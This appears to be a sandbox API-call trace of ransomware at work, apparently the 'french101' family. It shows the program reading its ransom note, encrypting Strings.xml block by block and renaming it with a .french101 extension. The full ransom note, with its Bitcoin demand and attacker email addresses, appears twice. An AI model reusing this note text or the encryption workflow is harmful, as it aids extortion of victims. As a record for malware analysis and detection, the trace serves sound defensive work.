GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0268.512] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.512] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0268.512] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.512] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0268.512] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0268.512] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0268.512] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0268.513] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0268.513] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.513] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.513] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0268.513] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.513] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.513] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0268.513] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.513] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0268.513] CloseHandle (hObject=0x398) returned 1 [0268.514] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0268.514] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0268.514] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0268.514] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0268.514] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0268.514] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.514] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0268.514] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0268.514] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0268.514] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.514] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0268.514] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.514] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0268.514] CharLowerBuffW (in: lpsz="sqmapi.dll", cchLength=0xa | out: lpsz="sqmapi.dll") returned 0xa [0268.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0268.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0268.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="që\x19", lpUsedDefaultChar=0x0) returned 1 [0268.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0268.515] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0268.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllw", lpUsedDefaultChar=0x0) returned 4 [0268.515] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0268.515] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0268.515] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0268.515] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0268.515] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0268.515] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.515] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0268.515] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0268.515] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0268.515] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.515] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0268.515] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.515] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0268.516] CharLowerBuffW (in: lpsz="Strings.xml", cchLength=0xb | out: lpsz="strings.xml") returned 0xb [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0268.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0268.516] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0268.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlw", lpUsedDefaultChar=0x0) returned 4 [0268.516] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0268.516] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0268.516] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0268.516] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0268.516] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml", dwFileAttributes=0x20) returned 1 [0268.517] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.517] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.517] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x3704 [0268.517] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.517] SetFilePointer (in: hFile=0x398, lDistanceToMove=14084, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x3704 [0268.517] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c48*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c48*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0268.865] CloseHandle (hObject=0x398) returned 1 [0269.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.126] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.126] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x3705 [0269.126] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.126] SetFilePointer (in: hFile=0x398, lDistanceToMove=14084, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x3704 [0269.126] SetEndOfFile (hFile=0x398) returned 1 [0269.128] CloseHandle (hObject=0x398) returned 1 [0269.129] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.129] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0269.129] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x3704 [0269.129] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0269.130] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0269.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0269.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x3704 [0269.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0269.130] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.131] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0269.131] GlobalLock (hMem=0x3f40004) returned 0x3ae6e20 [0269.131] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0269.131] GlobalUnlock (hMem=0x3f40014) returned 0 [0269.131] GlobalHandle (pMem=0x3ae6e20) returned 0x3f40004 [0269.131] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.131] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0269.131] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0269.131] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.131] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0269.131] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.131] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x400 [0269.131] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x3704 [0269.132] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x400 [0269.132] SetFilePointer (in: hFile=0x398, lDistanceToMove=14084, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x3704 [0269.132] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0269.156] WriteFile (in: hFile=0x398, lpBuffer=0x3efca08*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3efca08*, lpNumberOfBytesWritten=0x19e7d8*=0xb2, lpOverlapped=0x0) returned 1 [0269.156] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0269.156] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.156] CloseHandle (hObject=0x398) returned 1 [0269.157] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), lpNewFileName="C:\\588bce7c90097ed212\\yDmN+p4a06mqUUb8m3ormI2YKcdhH4.french101" (normalized: "c:\\588bce7c90097ed212\\ydmn+p4a06mquub8m3ormi2ykcdhh4.french101")) returned 1 [0269.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\yDmN+p4a06mqUUb8m3ormI2YKcdhH4.french101" (normalized: "c:\\588bce7c90097ed212\\ydmn+p4a06mquub8m3ormi2ykcdhh4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.158] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0269.158] CloseHandle (hObject=0x398) returned 1 [0269.159] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\yDmN+p4a06mqUUb8m3ormI2YKcdhH4.french101", dwFileAttributes=0x80) returned 1 [0269.159] CloseHandle (hObject=0x398) returned 0 [0269.159] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0269.159] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0269.159] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.159] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0269.159] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0269.159] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0269.159] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.159] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0269.159] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.159] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0269.160] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0269.160] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0269.160] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0269.160] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0269.160] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0269.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0269.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.161] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0269.161] CloseHandle (hObject=0x398) returned 1 [0269.161] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0269.161] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0269.161] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0269.161] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0269.161] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0269.161] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.161] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0269.161] GlobalLock 